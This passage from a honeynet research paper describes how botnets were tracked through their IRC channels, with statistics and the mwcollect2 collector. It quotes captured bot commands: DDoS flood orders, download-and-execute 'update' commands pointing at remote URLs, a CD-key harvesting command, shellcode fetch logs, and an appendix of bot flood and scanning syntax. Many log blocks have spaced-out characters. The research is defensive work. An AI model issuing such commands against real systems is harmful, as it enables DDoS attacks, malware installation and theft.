Now the second step in tracking botnets takes place, we want to re-connect into the botnet. Since we have all the necessary data, this is not very hard. In a first approach, you can just setup an irssi (console based IRC client) or some other IRC client and try to connect to the network. If the network is relatively small (less then 50 clients), there is a chance that your client will be identified since it does not answer to valid commands. In this case, the operators of the botnets tend to either ban and/or DDoS the suspicious client. To avoid detection, you can try to hide yourself. Disabling all auto response triggering commands in your client helps a bit: If your client replies to a "CTCP VERSION" message with "irssi 0.89 running on openbsd i368" then the attacker who requested the ClientTo-Client Protocol (CTCP) command will get suspicious. If you are not noticed by the operators of the botnets, you can enable logging of all commands and thus observe what is happening. But there are many problems if you start with this approach: Some botnets use very hard stripped down IRCds which are not RFC compliant so that a normal IRC client can not connect to this network. A possible way to circumvent this situation is to find out what the operator has stripped out, and modify the source code of your favorite client to override it. Almost all current IRC clients lack well written code or have some other disadvantages. So probably you end up writing your own IRC client to track botnets. Welcome to the club - ours is called drone. There are some pitfalls that you should consider when you write your own IRC client. Here are some features that we found useful in our dedicated botnet tracking IRC client: SOCKS v4 Support Multi-server Support: If you don't want to start an instance of your software for each botnet you found, this is a very useful feature. No Threading: Threaded software defines hard to debugging Software. Non-blocking connecting and DNS resolve poll(): Wait for some event on a file descriptor using non blocking I/O we needed an multiplexer, select() could

have done the job, too libadns: This is a asynchronous DNS resolving library. Looking up hostnames does not block your code even if the lookup takes some time. Necessary if one decides not to use threads. Written in C++ since OOP offers many advantages writing a Multi-server client Modular interface so you can un/load (C++) modules at runtime libcurl: This is a command line tool for transferring files with URL syntax, supporting many different protocols. libcurl is a library offering the same features as the command line tool. Perl Compatible Regular Expressions (PCRE): The PCRE library is a set of functions that implement regular expression pattern matching using the same syntax and semantics as Perl 5. PCRE enable our client to guess the meaning of command and interact in some cases in a "native" way. Excessive debug-logging interface so that it is possible to get information about RFC non-compliance issues very fast and fix them in the client (side note: One day logging 50 botnets can give more than 500 MB of debug information). Drone is capable of using SOCKS v4 proxies so we do not run into problems if it's presence is noticed by an attacker in a botnet. The SOCKS v4 proxies are on dial-in accounts in different networks so that we can easily change the IP addresses. Drone itself runs on a independent machine we maintain ourselves. We want to thank all the people contributing to our project by donating shells and/or proxies. Some Anti-virus vendors publish data about botnets. While useful, this information may at times not be enough to to effectively track botnets, as we demonstrate in Botnet Vendors. Sometimes the owners of the botnet will issue some commands to instruct his bots. We present the more commonly used commands in the last section. Using our approach, we are able to monitor the issued commands and learn more about the motives of the attackers. To further enhance our methodology, we tried to write a PCRE-based emulation of a bot so that our dummy client could even correctly reply to a given command. But we soon minimized our design goals here because there is no standardization of botnet commands and the attackers tend to change their commands very often. In many cases, command-replies are even translated to their mother language. When you monitor more than a couple of networks, begin to check if some of them are linked, and group them if possible. Link-checking is easy, just join a specific channel on all networks and see if you get more than one client there. It is surprising how many networks are linked. People tend to set up a DNS-name and channel for every bot version they check out. To learn more about the attacker, try putting the attacker's nickname into a Google search and often you will be surprised how much information you can find. Finally, check the server's Regional Internet Registries (RIR) entry (RIPE NCC, ARIN, APNIC, and LACNIC) to even learn more about the attacker.

Lessons Learned
In this section we present some of the findings we obtained through our observation of botnets. Data is sanitized so that it does not allow one to draw any conclusions about specific attacks against a particular system, and protects the identity and privacy of those involved. Also, as the data for this paper was collected in Germany by the German Honeynet Project, information about specific attacks and compromised systems was forwarded to DFN-CERT (Computer Emergency Response Team) based in Hamburg, Germany. We would like to start with some statistics about the botnets we have observed in the last few months: Number of botnets We were able to track little more than 100 botnets during the last four months. Some of them "died" (e.g. main IRC server down or inexperienced attacker) and at the moment we are tracking about 35 active botnets. Number of hosts During these few months, we saw 226,585 unique IP addresses joining at least one of the channels we

monitored. Seeing an IP means here that the IRCd was not modified to not send us an JOIN message for each joining client. If an IRCd is modified not to show joining clients in a channel, we don't see IPs here. Furthermore some IRCds obfuscate the joining clients IP address and obfuscated IP addresses do not count as seen, too. This shows that the threat posed by botnets is probably worse than originally believed. Even if we are very optimistic and estimate that we track a significant percentage of all botnets and all of our tracked botnet IRC servers are not modified to hide JOINs or obfuscate the joining clients IPs, this would mean that more then one million hosts are compromised and can be controlled by malicious attackers. We know there are more botnet clients since the attackers sometimes use modified IRC servers that do not give us any information about joining users. Typical size of Botnets Some botnets consist of only a few hundred bots. In contrast to this, we have also monitored several large botnets with up to 50.000 hosts . The actual size of such a large botnet is hard to estimate. Often the attackers use heavily modified IRC servers and the bots are spread across several IRC servers. We use link-checking between IRCds to detect connections between different botnets that form one large botnet. Thus we are able to approximate the actual size. Keep in mind, botnets with over several hundred thousands hosts have been reported in the past. If a botnet consists of more than 5 linked IRC servers, we simply say it is large even if we are not able to determine a numerical number as the IRCd software is stripped down. As a side note: We know about a home computer which got infected by 16 (sic!) different bots, so its hard to make an estimation about world bot population here. Dimension of DDoS-attacks We are able to make an educated guess about the current dimension of DDoS-attacks caused by botnets. We can observe the commands issued by the controllers and thus see whenever the botnet is used for such attacks. From the beginning of November 2004 until the end of January 2005, we were able to observe 226 DDoSattacks against 99 unique targets. Often these attacks targeted dial-up lines, but there are also attacks against bigger websites. In order to point out the threat posed by such attacks, we present the collected data about DDoS-attacks on a separate page. "Operation Cyberslam" documents one commercial DDoS run against competitors in online selling. A typical DDoS-attacks looks like the following examples: The controller enters the channel and issues the command (sometimes even stopping further spreading of the bots). After the bots have done their job, they report their status:
[ # # # F O O # # # ]< ~ n i c k n a m e >. s c a n s t o p [ # # # F O O # # # ]< ~ n i c k n a m e >. d d o s . s y n1 5 1 . 4 9 . 8 . X X X2 12 0 0 [ # # # F O O # # # ]< [ X P ] 1 8 3 3 0 >[ D D o S ] :F l o o d i n g :( 1 5 1 . 4 9 . 8 . X X X : 2 1 )f o r2 0 0s e c o n d s [ . . . ] [ # # # F O O # # # ]< [ 2 K ] 3 3 8 2 0 >[ D D o S ] :D o n ew i t hf l o o d( 2 5 7 3 K B / s e c ) . [ # # # F O O # # # ]< [ X P ] 8 6 8 4 0 >[ D D o S ] :D o n ew i t hf l o o d( 3 5 1 K B / s e c ) . [ # # # F O O # # # ]< [ X P ] 6 2 4 4 4 >[ D D o S ] :D o n ew i t hf l o o d( 1 3 2 7 K B / s e c ) . [ # # # F O O # # # ]< [ 2 K ] 3 8 2 9 1 >[ D D o S ] :D o n ew i t hf l o o d( 7 1 4 K B / s e c ) . [ . . . ] [ # # # F O O # # # ]< ~ n i c k n a m e >. l o g i n1 2 3 4 5 [ # # # F O O # # # ]< ~ n i c k n a m e >. d d o s . s y n2 1 3 . 2 0 2 . 2 1 7 . X X X6 6 6 72 0 0 [ # # # F O O # # # ]< [ X P ] 1 8 2 3 0 >[ D D o S ] :F l o o d i n g :( 2 1 3 . 2 0 2 . 2 1 7 . X X X : 6 6 6 7 )f o r2 0 0s e c o n d s . [ . . . ] [ # # # F O O # # # ]< [ X P ] 1 8 3 2 0 >[ D D o S ] :D o n ew i t hf l o o d( 0 K B / s e c ) . [ # # # F O O # # # ]< [ 2 K ] 3 3 8 3 0 >[ D D o S ] :D o n ew i t hf l o o d( 2 2 8 8 K B / s e c ) . [ # # # F O O # # # ]< [ X P ] 8 6 8 7 0 >[ D D o S ] :D o n ew i t hf l o o d( 3 5 1 K B / s e c ) . [ # # # F O O # # # ]< [ X P ] 6 2 6 4 4 >[ D D o S ] :D o n ew i t hf l o o d( 1 3 4 1 K B / s e c ) . [ # # # F O O # # # ]< [ 2 K ] 3 4 8 9 1 >[ D D o S ] :D o n ew i t hf l o o d( 7 0 9 K B / s e c ) . [ . . . ]

Both attacks show typical targets of DDoS-attacks: FTP server on port 21/TCP or IRC server on port 6667/TCP.

Spreading of botnets ".advscan lsass 150 5 0 -r -s" and other commands are the most frequent observed messages. Through this and similar commands, bots spread and search for vulnerable systems. Commonly, Windows systems are exploited and thus we see most traffic on typical Windows ports (e.g. for CIFS based file sharing). We have analyzed this in more detail and present these results on a page dedicated to spreading of bots. Harvesting of information Sometimes we can also observe the harvesting of information from all compromised machines. With the help of a command like ".getcdkeys" the operator of the botnet is able to request a list of CD-keys (e.g. for Windows or games) from all bots. This CD-keys can be sold to crackers or the attacker can use them for several other purposes since they are considered valuable information. These operations are seldom, though. "Updates" within botnets We also observed updates of botnets quite frequently. Updating in this context means that the bots are instructed to download a piece of software from the Internet and then execute it. Examples of issued commands include:
. d o w n l o a dh t t p : / / s p a m a t e u r . f r e e w e b / s p a c e . c o m / l e e t a g e / g a m m a . e x e c : \ w i n d o w s \ c o n f i g \ g a m m a . e x e1 . d o w n l o a dh t t p : / / w w w . s p a z t e n b o x . n e t / c a s h . e x ec : \ a r s e t u p . e x e1s ! d o w nh t t p : / / w w w . a n g e l f i r e . c o m / l i n u k s / k u t e l e s s / a n t 1 . x C : \ W I N D O W S \ s y s t e m 3 2 \ d r i v e r s \ d i s d n \ a n t i . e x e1 !d l o a dh t t p : / / w w w . a n g e l f i r e . c o m / l i n u k s / k u t e l e s s / a n t 1 . xC : \ f i r e w a l l x . e x e1 . h t t p . u p d a t eh t t p : / / 5 9 . 5 6 . 1 7 8 . 2 0 / ~ m u g e n x u r / r B o t . e x ec : \ m s y 3 2 a w d s . e x e1 . h t t p . u p d a t eh t t p : / / m 1 c r 0 s 0 f t w 0 r d g u y . f r e e s u p e r h o s t . c o m / j i m b o . j p g% t e m p % \ v h u r d x . e x es

(Note:We sanitized the links so the code is not accidently downloaded/executed) As you can see, the attackers use diverse webspace providers and often obfuscate the downloaded binary. The parameter "1" in the command tells the bots to execute the binary once they have downloaded it. This way, the bots can be dynamically updated and be further enhanced. We also collect the malware that the bots download and further analyze it if possible. In total, we have collected 329 binaries. 201 of these files are malware as an analysis with "Kaspersky Anti-Virus On-Demand Scanner for Linux" shows:
2 8B a c k d o o r . W i n 3 2 . R b o t . g e n 2 7B a c k d o o r . W i n 3 2 . S d B o t . g e n 2 2T r o j a n D r o p p e r . W i n 3 2 . S m a l l . n m 1 5B a c k d o o r . W i n 3 2 . B r a b o t . d 1 0B a c k d o o r . W i n 3 2 . V B . u c 8T r o j a n . W i n R E G . L o w Z o n e s . a 6B a c k d o o r . W i n 3 2 . I r o f f e r . b 5T r o j a n . W i n 3 2 . L o w Z o n e s . q 5T r o j a n D o w n l o a d e r . W i n 3 2 . S m a l l . q d 5B a c k d o o r . W i n 3 2 . A g o b o t . g e n 4V i r u s . W i n 3 2 . P a r i t e . b 4T r o j a n . W i n 3 2 . L o w Z o n e s . p 4T r o j a n . B A T . Z a p c h a s t 4B a c k d o o r . W i n 3 2 . W o o t b o t . g e n 4B a c k d o o r . W i n 3 2 . S e r v U b a s e d 4B a c k d o o r . W i n 3 2 . S d B o t . l t 3T r o j a n . W i n 3 2 . L o w Z o n e s . d 3T r o j a n D o w n l o a d e r . W i n 3 2 . A g e n t . g d 2V i r u s . B A T . B o h o . a 2V i r T o o l . W i n 3 2 . D e l f . d 2T r o j a n D o w n l o a d e r . W i n 3 2 . S m a l l . a d s 2H a c k T o o l . W i n 3 2 . C l e a r l o g 2B a c k d o o r . W i n 3 2 . W o o t b o t . u 2B a c k d o o r . W i n 3 2 . R b o t . a f 2B a c k d o o r . W i n 3 2 . I r o f f e r . 1 3 0 7

2B a c k d o o r . W i n 3 2 . I r o f f e r . 1 2 2 1 2B a c k d o o r . W i n 3 2 . H a c D e f . 0 8 4 1T r o j a n . W i n 3 2 . R e b o o t e r . n 1T r o j a n . W i n 3 2 . L o w Z o n e s . a b 1T r o j a n . W i n 3 2 . K i l l F i l e s . h b 1T r o j a n S p y . W i n 3 2 . Q u a k a r t . r 1T r o j a n P r o x y . W i n 3 2 . R a n k y . a w 1T r o j a n P r o x y . W i n 3 2 . A g e n t . c l 1T r o j a n D o w n l o a d e r . W i n 3 2 . Z d o w n . 1 0 1 1T r o j a n D o w n l o a d e r . W i n 3 2 . I s t B a r . g v 1T r o j a n D o w n l o a d e r . W i n 3 2 . I s t B a r . e r 1T r o j a n D o w n l o a d e r . W i n 3 2 . A g e n t . d n 1T r o j a n C l i c k e r . W i n 3 2 . S m a l l . b w 1T r o j a n C l i c k e r . W i n 3 2 . A g e n t . b i 1N e t W o r m . W i n 3 2 . D i p N e t . f 1H a c k T o o l . W i n 3 2 . X r a y . a 1H a c k T o o l . W i n 3 2 . F x S c a n n e r 1B a c k d o o r . W i n 3 2 . W o o t b o t . a b 1B a c k d o o r . W i n 3 2 . W i s d o o r . a t 1B a c k d o o r . W i n 3 2 . S p y b o t e r . g e n 1B a c k d o o r . W i n 3 2 . R b o t . i c 1B a c k d o o r . W i n 3 2 . R b o t . f o 1B a c k d o o r . W i n 3 2 . O p t i x . b 1B a c k d o o r . W i n 3 2 . A g e n t . d s

Most of the other binary files are either adware (a program that displays banners while being run, or reports users habits or information to third parties), proxy servers (a computer process that relays a protocol between client and server computer systems) or Browser Helper Objects. An event that is not that unusual is that somebody steals a botnet from someone else. It can be somewhat humorous to observe several competing attackers. As mentioned before, bots are often "secured" by some sensitive information, e.g. channel name or server password. If one is able to obtain all this information, he is able to update the bots within another botnet to another bot binary, thus stealing the bots from another botnet. For example, some time ago we could monitor when the controller of Botnet #12 stole bots from the seemingly abandoned Botnet #25. We recently had a very unusual update run on one of our monitored botnets: Everything went fine, the botnet master authenticated successfully and issued the command to download and execute the new file. Our client drone downloaded the file and it got analyzed, we set up a client with the special crafted nickname, ident, and user info. But then our client could not connect to the IRC server to join the new channel. The first character of the nickname was invalid to use on that IRCd software. This way, the (somehow dumb) attacker just lost about 3,000 bots which hammer their server with connect tries forever. Something which is interesting, but rarely seen, is botnet owners discussing issues in their bot channel. We observed several of those talks and learned more about their social life this way. We once observed a small shell hoster hosting a botnet on his own servers and DDoSing competitors. These people chose the same nicknames commanding the botnet as giving support for their shell accounts in another IRC network. Furthermore, some people who run botnets offer an excellent pool of information about themselves as they do not use free and anonymous webhosters to run updates on their botnets. These individuals demonstrate how even unskilled people can run and leverage a botnet. Our observations showed that often botnets are run by young males with surprisingly limited programming skills. The scene forums are crowded of posts like "How can i compile *" and similar questions. These people often achieve a good spread of their bots, but their actions are more or less harmless. Nevertheless, we also observed some more advanced attackers: these persons join the control channel only seldom. They use only 1 character nicks, issue a command and leave afterwards. The updates of the bots they run are very professional. Probably these people use the botnets for commercial usage and "sell" the services. A low percentage use their botnets for financial gain. For

example, by installing Browser Helper Objects for companies tracking/fooling websurfers or clicking pop-ups. A very small percentage of botnet runners seems highly skilled, they strip down their IRCd software to a non RFC compliant daemon, not even allowing standard IRC clients to connect. Another possibility is to install special software to steal information. We had one very interesting case in which attackers stole Diablo 2 items from the compromised computers and sold them on eBay. Diablo 2 is a online game in which you can improve your character by collecting powerful items. The more seldom an item is, the higher is the price on eBay. A search on eBay for Diablo 2 shows that some of these items allow an attacker to make a nice profit. Some botnets are used to send spam: you can rent a botnet. The operators give you a SOCKS v4 server list with the IP addresses of the hosts and the ports their proxy runs on. There are documented cases where botnets were sold to spammers as spam relays: "Uncovered: Trojans as Spam Robots ". You can see an example of an attacker installing software (in this case rootkits) in a captured example.

Further Research
Further Research An area of research we are leading to improve botnet tracking is in malware collection. Under the project name mwcollect2 the German Honeynet Project is developing a program to "collect" malware in an simple and automated fashion. The mwcollect2 daemon consists of multiple dynamically linked modules: Vulnerability modules: They open some common vulnerable ports (e.g. 135 or 2745) and simulate the vulnerabilities according to these ports. Shellcode parsing modules: These modules turn the shellcodes received by one of the vulnerability modules in generic URLs to be fetched by another kind of module. And finally, Fetch modules which simply download the files specified by an URL. These URLs do not necessarily have to be HTTP or FTP URLs, but can also be TFTP or other protocols. Currently mwcollect2 supports the simulation of different vulnerabilities. The following two examples show the software in action. In the first example, mwcollect2 simulates a vulnerability on TCP port 135 and catches a piece of malware in an automated fashion:
m w c t r i t i u m : D C O MS h e l l c o d es t a r t sa tb y t e0 x 0 3 7 0a n di s0 x 0 1 D Cb y t e sl o n g . m w c t r i t i u m : D e t e c t e dg e n e r i cX O RD e c o d e r ,k e yi s1 2 h ,c o d ei se 8 h( e 8 h )b y t e sl o n g . m w c t r i t i u m : D e t e c t e dg e n e r i cC r e a t e P r o c e s sS h e l l c o d e :" t f t p . e x eiX X X . X X X . X X X . X X X g e tc d a c c e s s 6 . e x e " m w c t r i t i u m : P u s h e df e t c hr e q u e s tf o r" t f t p : / / X X X . X X X . X X X . X X X / c d a c c e s s 6 . e x e " . m w c t r i t i u m : F i n i s h e df e t c h i n gc d a c c e s s 6 . e x e

And in the second example the software simulates a machine that can be exploited through the backdoor left by the Bagle worm. Again, mwcollect2 is able to successfully fetch the malware.
m w c t r i t i u m : B a g l ec o n n e c t i o nf r o mX X X . X X X . X X X . X X X : 4 8 0 2( t o: 2 7 4 5 ) . m w c t r i t i u m : B a g l es e s s i o nw i t hi n v a l i da u t hs t r i n g : 4 3 F F F F F F 3 0 3 0 3 0 0 1 0 A 2 8 9 1 A 1 2 B E 6 6 0 2 F 3 2 8 F 6 0 1 5 1 A 2 0 1 A 0 0 m w c t r i t i u m : S u c c e s s f u lb a g l es e s s i o n ,f e t c h " f t p : / / b l a : b l a @ X X X . X X X . X X X . X X X : 4 8 4 7 / b o t . e x e " . m w c t r i t i u m : P u s h e df e t c hr e q u e s tf o r" f t p : / / b l a : b l a @ X X X . X X X . X X X . X X X : 4 8 4 7 / b o t . e x e " . m w c t r i t i u m : D o w n l o a d i n go ff t p : / / b l a : b l a @ X X X . X X X . X X X . X X X : 4 8 4 7 / b o t . e x e ( f t p : / / b l a : b l a @ X X X . X X X . X X X . X X X : 4 8 4 7 / b o t . e x e )s u c c e s s f u l .

The following listings shows the effectiveness of this approach:

7 x m w c d a t a s u b m . 1 1 0 8 8 2 5 2 8 4 . 7 a d 3 7 9 2 6 7 1 d e 4 2 b e 1 0 d 1 b d f f 4 4 d 8 7 2 6 9 6 f 9 0 0 4 3 2 1 x m w c d a t a s u b m . 1 1 0 8 8 2 5 5 2 5 . 4 a 1 2 d 1 9 0 e 8 b 0 6 5 b 0 7 a 5 3 a f 2 c 7 4 7 3 2 a 1 d f 1 8 1 3 f d 4 1 x m w c d a t a s u b m . 1 1 0 8 8 2 5 8 4 8 . 7 0 9 1 6 0 9 b 4 8 b 8 0 b 4 b 6 a d 2 2 8 a 7 e c 1 5 1 8 5 6 6 d 9 6 e 1 1 e 2 x m w c d a t a s u b m . 1 1 0 8 8 2 6 1 1 7 . 2 0 b f 1 1 3 5 c 9 5 e b 7 5 f 9 3 c 8 9 6 9 5 e a 1 6 0 8 3 1 f 7 0 b 2 a 4 f 7 8 x m w c d a t a s u b m . 1 1 0 8 8 2 6 6 3 9 . 4 a 2 d a 0 b b 4 2 c b a a e 8 3 0 6 d 7 b f e 9 b b 8 0 9 a 5 1 2 3 2 6 5 b 9 1 9 x m w c d a t a s u b m . 1 1 0 8 8 2 6 8 4 4 . 3 6 d 2 5 9 c c b 1 d b 6 b b d f d a 7 e 4 e 1 5 a 4 0 6 3 2 3 b e a 1 2 9 c e 3 x m w c d a t a s u b m . 1 1 0 8 8 2 7 2 7 4 . 7 7 b 0 e 1 4 b f b d 1 3 3 e 3 d 4 e d 8 2 8 1 e 4 8 3 d 8 0 7 9 c 5 8 3 2 9 3 3 x m w c d a t a s u b m . 1 1 0 8 8 2 7 4 3 0 . 3 c 0 b b 9 c 9 7 7 1 1 e f d 6 9 3 d 4 2 1 9 d d 2 5 e c 9 7 f 0 b 4 9 8 c 1 f 4 x m w c d a t a s u b m . 1 1 0 8 8 2 8 1 0 5 . 6 d b 0 f b 1 9 2 3 f d e 2 e 9 e b e 5 c c 5 5 e c e b d b d 4 b 8 4 1 5 7 6 4 2 9 x m w c d a t a s u b m . 1 1 0 8 8 2 8 2 0 5 . 1 1 d 6 0 3 3 0 8 9 8 2 e 9 8 f 4 b d e 3 f b 5 0 7 c 1 7 8 8 4 f 6 0 d c 0 8 6 2 x m w c d a t a s u b m . 1 1 0 8 8 2 8 2 2 8 . 5 0 0 c 4 3 1 5 d 0 4 5 f 0 6 f 5 9 a e 8 1 4 5 1 4 a b 3 2 9 b 9 3 9 8 7 c 8 6 1 x m w c d a t a s u b m . 1 1 0 8 8 2 8 3 0 5 . 7 c 2 a 3 9 a 8 5 5 6 7 7 9 8 2 1 a 8 c 0 5 3 c 9 c c 7 d 2 3 f e b 5 d d 1 d 4 3 4 x m w c d a t a s u b m . 1 1 0 8 8 2 8 3 1 1 . 6 5 5 d 0 1 d a d e 5 3 8 9 2 3 6 2 a 5 0 b 7 0 0 c 4 d 8 e a b f 7 d c 5 7 7 7 1 x m w c d a t a s u b m . 1 1 0 8 8 2 8 4 1 8 . 1 7 8 a e d e 3 2 a 4 d 8 2 2 c 2 a 3 7 f 1 a 6 2 e 5 d d 4 2 d f 1 9 f f c 9 6 1 x m w c d a t a s u b m . 1 1 0 8 8 2 8 8 2 2 . 4 6 6 0 8 3 a a 2 c 1 f 9 2 f 9 f a e d 9 a 8 2 a d 8 5 9 8 5 c 6 c 8 0 9 0 3 0 1 x m w c d a t a s u b m . 1 1 0 8 8 2 9 3 0 9 . 7 0 5 a 6 8 3 c b e 4 2 3 6 f f e 6 8 4 e b 7 3 6 6 7 c 7 8 8 0 5 b e 2 1 f e 6 1 1 x m w c d a t a s u b m . 1 1 0 8 8 2 9 3 2 3 . 4 f 5 7 9 1 1 2 6 4 c f e f c 8 1 7 6 6 6 d e a 7 b c 6 f 8 6 2 7 0 8 1 2 4 3 8 1 x m w c d a t a s u b m . 1 1 0 8 8 2 9 5 5 3 . 5 6 e 1 1 6 7 d 5 a b 6 6 f a e 6 8 7 8 7 5 0 b 7 8 1 5 8 a c f b 2 2 5 d 2 8 f 1 1 x m w c d a t a s u b m . 1 1 0 8 8 3 0 0 1 2 . 4 b b d e d d 9 0 5 b 6 9 1 3 2 4 c 6 c e 7 7 6 8 b e c b d b a 9 4 9 0 e e 4 7 1 x m w c d a t a s u b m . 1 1 0 8 8 3 0 0 7 4 . 1 c a 9 5 6 5 f e 7 4 0 d e 8 8 6 c f a 4 e 1 6 5 1 c 3 b 9 b e 0 1 9 4 4 3 f 6 9 8 x m w c d a t a s u b m . 1 1 0 8 8 3 0 1 7 1 . 6 e a 1 f 0 7 9 3 a 0 a b 2 b 9 0 1 f 5 a 9 e 1 0 2 3 f a 8 3 9 f 8 e f 3 f e 9 1 x m w c d a t a s u b m . 1 1 0 8 8 3 0 7 2 9 . 5 0 d b f 8 1 3 f 2 9 7 9 7 8 7 3 a 1 3 6 a 1 5 a 7 e a 1 9 1 1 9 f 7 2 f b e d 1 x m w c d a t a s u b m . 1 1 0 8 8 3 1 4 9 0 . 3 c d 9 8 6 5 1 a 8 5 7 1 a 0 3 3 6 2 9 b f a d 1 6 7 e f 8 b 4 e 1 3 9 c e 5 c 1 3 x m w c d a t a s u b m . 1 1 0 8 8 3 2 2 0 5 . 5 e e f 6 4 0 9 d 2 0 2 5 6 3 d b 6 4 f 0 b e 0 2 6 d d 6 b a 9 0 0 4 7 4 c 6 4 2 0 0 5 0 2 1 91 6 : 0 1C E T 2 0 0 5 0 2 1 91 6 : 0 5C E T 2 0 0 5 0 2 1 91 6 : 1 0C E T 2 0 0 5 0 2 1 91 6 : 1 5C E T 2 0 0 5 0 2 1 91 6 : 2 3C E T 2 0 0 5 0 2 1 91 6 : 2 7C E T 2 0 0 5 0 2 1 91 6 : 3 4C E T 2 0 0 5 0 2 1 91 6 : 3 7C E T 2 0 0 5 0 2 1 91 6 : 4 8C E T 2 0 0 5 0 2 1 91 6 : 5 0C E T 2 0 0 5 0 2 1 91 6 : 5 0C E T 2 0 0 5 0 2 1 91 6 : 5 1C E T 2 0 0 5 0 2 1 91 6 : 5 1C E T 2 0 0 5 0 2 1 91 6 : 5 3C E T 2 0 0 5 0 2 1 91 7 : 0 0C E T 2 0 0 5 0 2 1 91 7 : 0 8C E T 2 0 0 5 0 2 1 91 7 : 0 8C E T 2 0 0 5 0 2 1 91 7 : 1 2C E T 2 0 0 5 0 2 1 91 7 : 2 0C E T 2 0 0 5 0 2 1 91 7 : 2 1C E T 2 0 0 5 0 2 1 91 7 : 2 2C E T 2 0 0 5 0 2 1 91 7 : 3 2C E T 2 0 0 5 0 2 1 91 7 : 4 4C E T 2 0 0 5 0 2 1 91 7 : 5 6C E T

With the help of just one sensor in a dial-in network we were able to fetch 324 binaries with a total of 24 unique ones within a period of two hours. The uniqueness of the malware was computed with the help of m d 5 s u m , a tool to compute and check MD5 message digests. The big advantage of using mwcollect2 to collect the bots is clearly stability: A bot trying to exploit a honeypot running Windows 2000 with shellcode which contains an j m pe b xoffset for Windows XP will obviously crash the service. In most cases, the honeypot will be forced to reboot. In contrast to this, mwcollect2 can be successfully exploited by all of those tools and hence catch a lot more binaries this way. In addition, mwcollect2 is easier to deploy - just a single make command and the collecting can begin (you however might want to change the configuration). Yet the downside of catching bots this way is that binaries still have to be reviewed manually. A honeypot behind a Honeywall with

snort_inline filtering out the relevant IRC traffic could even set up the sniffing drone automatically after exploitation.

Conclusion
In this paper we have attempted to demonstrate how honeynets can help us understand how botnets work, the threat they pose, and how attackers control them. Our research shows that some attackers are highly skilled and organized, potentially belonging to well organized crime structures. Leveraging the power of several thousand bots, it is viable to take down almost any website or network instantly. Even in unskilled hands, it should be obvious that botnets are a loaded and powerful weapon. Since botnets pose such a powerful threat, we need a variety of mechanisms to counter it. Decentralized providers like Akamai can offer some redundancy here, but very large botnets can also pose a severe threat even against this redundancy. Taking down of Akamai would impact very large organizations and companies, a presumably high value target for certain organizations or individuals. We are currently not aware of any botnet usage to harm military or government institutions, but time will tell if this persists. In the future, we hope to develop more advanced honeypots that help us to gather information about threats such as botnets. Examples include Client honeypots that actively participate in networks (e.g. by crawling the web, idling in IRC channels, or using P2P-networks) or modify honeypots so that they capture malware and send it to anti-virus vendors for further analysis. Since our current approach focuses on bots that use IRC for C&C, we focused in the paper on IRC-based bots. We have also observed other bots, but these are rare and currently under development. In a few months/years more and more bots will use non-IRC C&C, potentially decentralized p2p-communication. So more research in this area is needed, attackers don't sleep. As these threats continue to adapt and change, so to must the security community.

Appendix A: Botnet Commands - Which commands the bots understand

In the following, we cover the more popular commands implemented in the common bots we have captured in the wild. Presenting all the commands is beyond the scope of this paper, as Agobot comes along with over 90 commands in the default configuration. 1. DDoS something Agobot ddos.stop stops all floods ddos.phatwonk [host] [time] [delay] starts leet flood
S t a r t saS Y N f l o o do np o r t s2 1 , 2 2 , 2 3 , 2 5 , 5 3 , 8 0 , 8 1 , 8 8 , 1 1 0 , 1 1 3 , 1 1 9 , 1 3 5 , 1 3 7 , 1 3 9 , 1 4 3 , 4 4 3 , 4 4 5 , 1 0 2 4 , 1 0 2 5 , 1 4 3 3 , 1 5 0 0 , 1 7 2 0 , 3 3 0 6 , 3 3 8 9 , 5 0 0 0 , 6 6 6 7 , 8 0 0 0 , 8 0 8 0

ddos.phatsyn [host] [time] [delay] [port] starts syn flood ddos.phaticmp [host] [time] [delay] starts icmp flood ddos.synflood [host] [time] [delay] [port] starts an SYN flood

ddos.updflood [host] [port] [time] [delay] start a UDP flood ddos.targa3 [host] [time] start a targa3 flood
I m p l e m e n t st h ew e l lk n o w nD D o Sa t t a c kM i x t e ra u t h o r e di n1 9 9 9 . / * *t a r g a 3-1 9 9 9( c )M i x t e r< m i x t e r @ n e w y o r k o f f i c e . c o m > * *I Ps t a c kp e n e t r a t i o nt o o l/' e x p l o i tg e n e r a t o r ' *S e n d sc o m b i n a t i o n so fu n c o m m o nI Pp a c k e t st oh o s t s *t og e n e r a t ea t t a c k su s i n gi n v a l i df r a g m e n t a t i o n ,p r o t o c o l , *p a c k e ts i z e ,h e a d e rv a l u e s ,o p t i o n s ,o f f s e t s ,t c ps e g m e n t s , *r o u t i n gf l a g s ,a n do t h e ru n k n o w n / u n e x p e c t e dp a c k e tv a l u e s . *U s e f u lf o rt e s t i n gI Ps t a c k s ,r o u t e r s ,f i r e w a l l s ,N I D S , *e t c .f o rs t a b i l i t ya n dr e a c t i o n st ou n e x p e c t e dp a c k e t s . *S o m eo ft h e s ep a c k e t sm i g h tn o tp a s st h r o u g hr o u t e r sw i t h *f i l t e r i n ge n a b l e d-t e s t sw i t hs o u r c ea n dd e s t i n a t i o nh o s t *o nt h es a m ee t h e r n e ts e g m e n tg i v e sb e s te f f e c t s . * / t a k e nf r o m h t t p : / / p a c k e t s t o r m s e c u r i t y . o r g / D o S / t a r g a 3 . c < / m i x t e r @ n e w y o r k o f f i c e . c o m >

ddos.httpflood [url] [number] [referrer] [recursive = true||false] starts a HTTP flood

T h i si sr e a ln a s t ys i n c ei tf e t c h e sw e b s i t e sf r o maw e b s e r v e r . I f" r e c u r s i v e "i ss e t ,t h eb o tp a r s e st h er e p l i e sa n df o l l o w s l i n k sr e c u r s i v e l y .

SDBot syn [ip] [port] [seconds|amount] [sip] [sport] [rand] (sdbot 05b pure version) udp [host] [num] [size] [delay] [[port]]size (sdbot 05b ago version) ping [host] [num] [size] [delay]num UrXbot ddos.(syn|ack|random) [ip] [port] [length] (syn|synflood) [ip] [port] [length] (udp|udpflood|u) [host] [num][ [size] [delay] [[port]] (tcp|tcpflood) (syn|ack|random) [ip] [port] [time] (ping|pingflood|p) [host] [num][ [size] [delay] (icmpflood|icmp) [ip] [time] ddos.stop synstop pingstop udpstop 2. Spreading Agobot scan.addnetrange [255.255.255.255/32] [priority] scan.delnetrange [255.255.255.255/32] scan.listnetranges list scanned netranges scan.clearnetranges clears netrange scan.resetnetranges removes all netranges from scanner and adds local LAN as scanning range

scan.enable [scanner] [scanner] can be one of

A n u b i sB a g l eC P a n e lD C O MD C O M 2D o o mD WE t h e r e a lH T T PL o c a t o rL S A S S N e t B i o sO p t i xS Q LU P N PW K S

